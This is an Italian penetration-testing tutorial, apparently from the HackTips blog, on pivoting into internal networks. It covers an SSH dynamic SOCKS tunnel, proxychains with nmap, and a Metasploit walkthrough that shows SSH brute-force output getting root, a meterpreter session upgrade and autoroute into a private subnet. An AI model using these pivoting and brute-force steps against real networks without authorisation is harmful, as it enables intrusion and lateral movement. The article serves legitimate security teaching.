La tecnica da utilizzare viene detta Port Forwarding, ed è, citando Wikipedia, l’operazione che permette il trasferimento di dati da un computer ad un’altro tramite una specifica porta di comunicazione. Ci sono diverse tipologie di port forwarding, tra le quali:
- Local port forwarding: è una delle tipologie più comuni e può essere utilizzato per poter bypassare i firewall che bloccano certe porte. Essa istituisce un connessione SSH tra il client SSH e il server SSH. SSH ascolta su una porta locale stabilita quando la connessione è stata stabilita. Qualsiasi connessione a questa porta viene inoltrata attraverso il tunnel SSH sicuro e inviata a un host remoto e a una porta predefiniti;
- Dynamic port forwarding: in questo caso l’obiettivo è quello di consentire ai clienti di connettersi in modo sicuro a un server di fiducia che funge da intermediario al fine di inviare/ricevere dati a uno o più server di destinazione e permette di comunicare con tutto il range delle porte.
Per eseguire l’operazione ci possono essere diversi modi, vediamone un paio
Dynamic port forwarding tramite SSH
Creare un tunnel tramite ssh è la via più semplice e comoda in quanto, una volta aperto, tramite proxy sarà possibile accedere a tutta la rete interna. Il comando è
ssh -f -N -D 9050 username@indirizzo_IP
dove:
-
- -f manda in background il comando una volta eseguito, in modo tale da non lasciare aperto un terminale apposta;
- -N istruisce SSH di non mandare comandi remoti, decisamente utile in questo caso;
- -D determina la porta dinamica da utilizzare per la connessione.
Prima di eseguirlo, si deve usare un tool come proxychains per instradare tutte le connessioni verso quella porta. Per configurarlo, basta modificare il file apposito ed inserire la porta scelta nello scorso comando (dovrebbe essere in /etc/proxychains.conf).
Una volta configurato si può lanciare il comando ssh. Per verificare che tutto sia andato a buon fine, basta provare ad eseguire un comando verso un indirizzo interno di quella rete.
Ora tutti i programmi che supportano una connessione tramite un proxy socks4 potranno essere utilizzati con gli IP privati. Ad esempio si potrà utilizzare nmap per scansionare la rete interna (andrà sicuramente più lento rispetto ad una scansione normale)
proxychains nmap -sTV -p80 -Pn -T4 10.200.0.33
Port forwarding tramite Metasploit
Sebbene io non ami particolarmente l’automatizzazione di metasploit, in questo caso può venirci particolarmente utile, poichè potremo utilizzare i suoi script anche in una rete interna. Nel seguente esempio, prenderò il caso in cui, dopo un bruteforce, ci rendiamo conto che l’host compromesso appartiene ad un’altra rete interna.
msf auxiliary(scanner/ssh/ssh_login) > run [+] 192.168.200.225:22 - Success: 'root:password' 'uid=0(root) gid=0(root) groups=0(root) Linux phpcgi 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux ' [*] Command shell session 1 opened (192.168.200.50:41929 -> 192.168.200.225:22) at 2018-07-29 22:14:59 +0200 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Per prima cosa, ottieniamo una shell meterpreter con il comando
sessions -u 1
in maniera tale da aver più controllo sulla macchina appena compromessa
Come si può vedere nello screenshot l’indirizzo IP della macchina compromessa è privato. Vediamo ora di creare un port forwarding ed utilizzarlo a nostro favore.
msf exploit(multi/handler) > use post/multi/manage/autoroute msf post(multi/manage/autoroute) > set subnet 10.200.0.1 subnet => 10.200.0.1 msf post(multi/manage/autoroute) > set session 2 session => 2 msf post(multi/manage/autoroute) > run [!] SESSION may not be compatible with this module. [*] Running module against 10.200.0.33 [*] Searching for subnets to autoroute. [+] Route added to subnet 10.200.0.0/24 from host's routing table. [*] Post module execution completed
Ed ecco che ora abbiamo creato un percorso diretto verso la rete interna! Se ora volessimo scansionare un host interno alla rete, basterà usare i classici moduli di metasploit
Conclusioni
Non è cosi raro incontrare situazioni di questo tipo, ed è sempre un bene riuscire a trovare la manovra giusta da eseguire per potersi spostare nella rete e trovare altri host vulnerabili. Se l’articolo non è abbastanza chiaro, consiglio la guida di Offensive Security e Explore Hidden Networks with double pivoting.
Hits: 842
L’articolo Effettuare Penetration test di reti interne tramite Port Forwarding proviene da HackTips.